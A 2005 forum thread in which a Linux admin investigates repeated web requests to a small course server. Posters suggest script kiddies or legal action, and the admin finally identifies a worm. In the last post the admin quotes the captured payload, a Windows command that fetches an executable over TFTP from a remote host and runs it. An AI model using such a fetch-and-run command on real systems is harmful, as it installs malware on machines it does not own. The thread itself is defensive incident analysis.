LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 06-13-2005, 08:10 PM   #1
hsegtreas
Member
 
Registered: May 2004
Distribution: Slackware 9.1
Posts: 47

Rep: Reputation: 15
Unusual requests


I am getting unusual series of requests on my server. It's a small web server that i use for my courses. Students come to get info/notes, and i only have 40 students this semester. The strange thing is that i keep getting GET requests on the home page (sometimes every 30 seconds) from adresses coming from a single ISP:
Code:
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:26:19 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:28:44 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:28:48 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:29:36 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:30:21 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:31:48 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:33:59 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:37:05 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:47:37 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:51:58 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:53:58 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp39nnnnn.sympatico.ca - - [13/Jun/2005:18:54:13 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:18:55:39 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:19:00:41 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:19:02:30 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:19:03:07 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:19:03:12 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:19:03:56 -0400] "GET / HTTP/1.0" 200 6119
toronto-hse-ppp37nnnnn.sympatico.ca - - [13/Jun/2005:19:05:53 -0400] "GET / HTTP/1.0" 200 6119
I replaced the last 5 digits of the adress by nnnnn. But the number changes every time. (i.e. different IP)

Sympatico.ca is a pppoe ISP. Getting that many of the same request from different persons is very unlikely for a small server such as mine.

I think someone is sending a GET to the server, disconnecting his pppoe connection, re-connecting, sending another GET, and so on... (getting a different IP from the ISP everytime)

Now that doesn't seems like much to worry about, as it's far from being enough to be a DOS attack, but i'm just curious to know from more experienced admins what kind of script the guy is running, and why?

(Just an opinion from you guys would make me happy)

Thanks!
 
Old 06-13-2005, 09:02 PM   #2
securehack
Member
 
Registered: Sep 2003
Location: United States
Distribution: Slackware 10.1, Debian 3.0, WinXProSP1, Fedora Core 3
Posts: 425

Rep: Reputation: 30
It is most likely a simple pre-made script taken from a hacking site. Why? Simple. It could be script-kiddies just messing around and having fun with their "ultra-cool hacking whacking" script. If this was a serious attacker, a DDoS would have occured and you would have been scanned several times with different scanners for open ports and/or exploits.

Now with the changing ip address. Canadians are known for their 56k connections (please don't bash me =P) so it doesn't matter. You won't be able to track him down (but you probably can if you have a serious attack; sue; company hands over info, etc.) So, he is basically attacking for a period, re-connecting, trying again. He may even have a dedicated server with auto-shutdown-restart scripts for his inet. But I'm paranoid, that's just me =P.

--Abid Kazmi
 
Old 06-14-2005, 08:20 AM   #3
hsegtreas
Member
 
Registered: May 2004
Distribution: Slackware 9.1
Posts: 47

Original Poster
Rep: Reputation: 15
Quote:
Originally posted by securehack
It is most likely a simple pre-made script taken from a hacking site. Why? Simple. It could be script-kiddies just messing around and having fun with their "ultra-cool hacking whacking" script. If this was a serious attacker, a DDoS would have occured and you would have been scanned several times with different scanners for open ports and/or exploits.
Probably a someone who got a bad grade
No doubt there, a serious attacker would have taken the server down pretty fast.. It was port scanned a month ago but not much to worry about either.


Quote:
Now with the changing ip address. Canadians are known for their 56k connections (please don't bash me =P) so it doesn't matter.
lol well i don't know anyone still on 56k modem..

Quote:
You won't be able to track him down (but you probably can if you have a serious attack; sue; company hands over info, etc.) So, he is basically attacking for a period, re-connecting, trying again. He may even have a dedicated server with auto-shutdown-restart scripts for his inet. But I'm paranoid, that's just me =P.

--Abid Kazmi
There's nothing on the server that's worth suing anyone for.. I have a backup of everything, although it would take some time to re-install and re-configure. I was just worried that it was part of a script that would become 'meaner' later. But since no one seems to think it's a problem (or care to answer), i guess i shouldn't worry either.

Thanks again!

Vincent
 
Old 06-14-2005, 10:21 AM   #4
securehack
Member
 
Registered: Sep 2003
Location: United States
Distribution: Slackware 10.1, Debian 3.0, WinXProSP1, Fedora Core 3
Posts: 425

Rep: Reputation: 30
Well, never take computer security as an easy thing. There are literally millions of tool kits out their that can be used to compromise a system. So, maybe these kiddies might actually learn something and start using some more serious methods of hacking. So be careful and always check your firewall logs, etc.

--Abid Kazmi
 
Old 06-15-2005, 01:30 AM   #5
RijilV
Member
 
Registered: Sep 2002
Location: somewhere
Distribution: gentoo
Posts: 123

Rep: Reputation: 15
shrug, file a civil lawsuit in your local county court against "John Doe". they should give you a blank subpoena, if not ask for it. go make copies. get a pen. fill out a subpoena requesting the identiy of the user who was logged into the ISP's system using <IP> and <time>. Send to ISP (does not matter that its in CA). When the ISP gives you the kids docs, file a montion to dismiss with the county court. then call up his ISP and cancle his service with the info they just gave you.

yawn.


oh and as an after thought: there is something useful on that server, UID0 - root - . you want to take part of the next massive DDoS attack? yeah, just because the data you have isn't important doesn't mean the server itself isn't as well. sites get taken down by DDoS not because a whole bunch of people had nifty cool files on their computers, but because since they didn't they couldn't be bothered to secure their systems, when infact their system was the target.

Last edited by RijilV; 06-15-2005 at 01:33 AM.
 
Old 06-15-2005, 10:27 AM   #6
securehack
Member
 
Registered: Sep 2003
Location: United States
Distribution: Slackware 10.1, Debian 3.0, WinXProSP1, Fedora Core 3
Posts: 425

Rep: Reputation: 30
Quote:
shrug, file a civil lawsuit in your local county court against "John Doe". they should give you a blank subpoena, if not ask for it. go make copies. get a pen. fill out a subpoena requesting the identiy of the user who was logged into the ISP's system using <IP> and <time>. Send to ISP (does not matter that its in CA). When the ISP gives you the kids docs, file a montion to dismiss with the county court. then call up his ISP and cancle his service with the info they just gave you.
A little too serious.... and considering life is short and people don't have time...

--Abid Kazmi
 
Old 06-15-2005, 11:55 AM   #7
hsegtreas
Member
 
Registered: May 2004
Distribution: Slackware 9.1
Posts: 47

Original Poster
Rep: Reputation: 15
Quote:
Originally posted by RijilV
shrug, file a civil lawsuit in your local county court against "John Doe". they should give you a blank subpoena, if not ask for it. go make copies. get a pen. fill out a subpoena requesting the identiy of the user who was logged into the ISP's system using <IP> and <time>. Send to ISP (does not matter that its in CA). When the ISP gives you the kids docs, file a montion to dismiss with the county court. then call up his ISP and cancle his service with the info they just gave you.
That's a bit extreme.. i wouldn't go that far...


Quote:
oh and as an after thought: there is something useful on that server, UID0 - root -
That is true. And that's why i asked the question about the log entries.
What i meant is that if someone manages to hack the server, i'll just format&reinstall. And hopefully prevent him from getting in again
 
Old 06-15-2005, 01:06 PM   #8
securehack
Member
 
Registered: Sep 2003
Location: United States
Distribution: Slackware 10.1, Debian 3.0, WinXProSP1, Fedora Core 3
Posts: 425

Rep: Reputation: 30
First save your files and the re-format and re-lease your ip =D.

--Abid Kazmi
 
Old 06-15-2005, 02:03 PM   #9
hsegtreas
Member
 
Registered: May 2004
Distribution: Slackware 9.1
Posts: 47

Original Poster
Rep: Reputation: 15
Actually, the server is on a dynamic IP (DynDns provides the domain name). So the IP changes every 3 days or so.
The problem is that it also means there's a script on the server that contains my username+password (unencrypted) for the ISP and DynDNS. That, i don't like but it seems there's no other way... (well no reasonable way...)
 
Old 06-15-2005, 02:44 PM   #10
securehack
Member
 
Registered: Sep 2003
Location: United States
Distribution: Slackware 10.1, Debian 3.0, WinXProSP1, Fedora Core 3
Posts: 425

Rep: Reputation: 30
Wow that sucks and a huge security problem.

--Abid Kazmi
 
Old 06-15-2005, 04:54 PM   #11
hsegtreas
Member
 
Registered: May 2004
Distribution: Slackware 9.1
Posts: 47

Original Poster
Rep: Reputation: 15
(Update)

I tried to connect on several ports of some of the computers. It looks like they have port 21 open, but without runnung any FTP server. The connection closes after some time. A quick google search says that it could be the "t0rn" rootkit. Now, i'm looking for a way to make sure..
That means that it is not only one computer connecting and disconnecting, but many computers connecting at a time interval. This is becoming fun
 
Old 06-15-2005, 05:03 PM   #12
securehack
Member
 
Registered: Sep 2003
Location: United States
Distribution: Slackware 10.1, Debian 3.0, WinXProSP1, Fedora Core 3
Posts: 425

Rep: Reputation: 30
Quote:
I tried to connect on several ports of some of the computers. It looks like they have port 21 open, but without runnung any FTP server. The connection closes after some time. A quick google search says that it could be the "t0rn" rootkit.
Hold up. So you connected to some of the computers through :21.
Now what do you mean about the rootkit. You mean THEY have it or YOU have it. Explanation is a little weary.

And btw, I'm not sure, but computer hacking is against LQ policy so don't discuss it any further.

--Abid Kazmi
 
Old 06-15-2005, 08:19 PM   #13
hsegtreas
Member
 
Registered: May 2004
Distribution: Slackware 9.1
Posts: 47

Original Poster
Rep: Reputation: 15
No They have a rootkit installed on their computers. The person who installed the rootkit is using it to 'attack' my server. I tried to connect on the computers who 'attacked' my server to see what was there. On these computers, port 21 is open, but there's no ftp server running; you just get a blank screen (no echo neither). You can type in anything though.
I'm looking on the internet to see what kind of rootkit or worm (if any) is on their computers. I'll advise their ISP if i can confirm their computers have been hacked.
 
Old 06-15-2005, 08:54 PM   #14
securehack
Member
 
Registered: Sep 2003
Location: United States
Distribution: Slackware 10.1, Debian 3.0, WinXProSP1, Fedora Core 3
Posts: 425

Rep: Reputation: 30
You can try that but I hardly doubt the ISP will close their connection in one try. You're going to have to push them a little.

--Abid Kazmi
 
Old 06-16-2005, 12:31 PM   #15
hsegtreas
Member
 
Registered: May 2004
Distribution: Slackware 9.1
Posts: 47

Original Poster
Rep: Reputation: 15
Ok, the port 21 open was a mistake/bug/problem of my computer. My bad...

I started a sniffer on my webserver to get the full http request, and it turns out to contain a base64 encoded command:

cmd /c tftp -i [host IP was here] GET win-logon.exe&start win-logon.exe&exit

Another computer had more or less the same string but with a different file (explorer.exe instead of win-logon.exe).

The computers have UDP port 69 open with a TFTP server running.

So it's just a worm...

I couldn't find an exact description, but this is close enough:
http://www.trendmicro.com/vinfo/viru...M%5FRBOT%2EBJF

(edit: BTW, an up to date version of Windows XP will not allow the worm in.)

Last edited by hsegtreas; 06-16-2005 at 03:23 PM.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Maybe an unusual question... harken Programming 5 02-01-2005 06:33 AM
Unusual Problem foxtrot0 Linux - Security 3 05-30-2004 11:01 PM
unusual question Kenster Linux - General 2 12-09-2003 05:47 AM
Unusual hdparm -tT output unholy Linux - Hardware 2 10-23-2003 06:15 AM
Unusual question RLee Linux - Newbie 14 05-05-2002 10:22 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 11:40 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration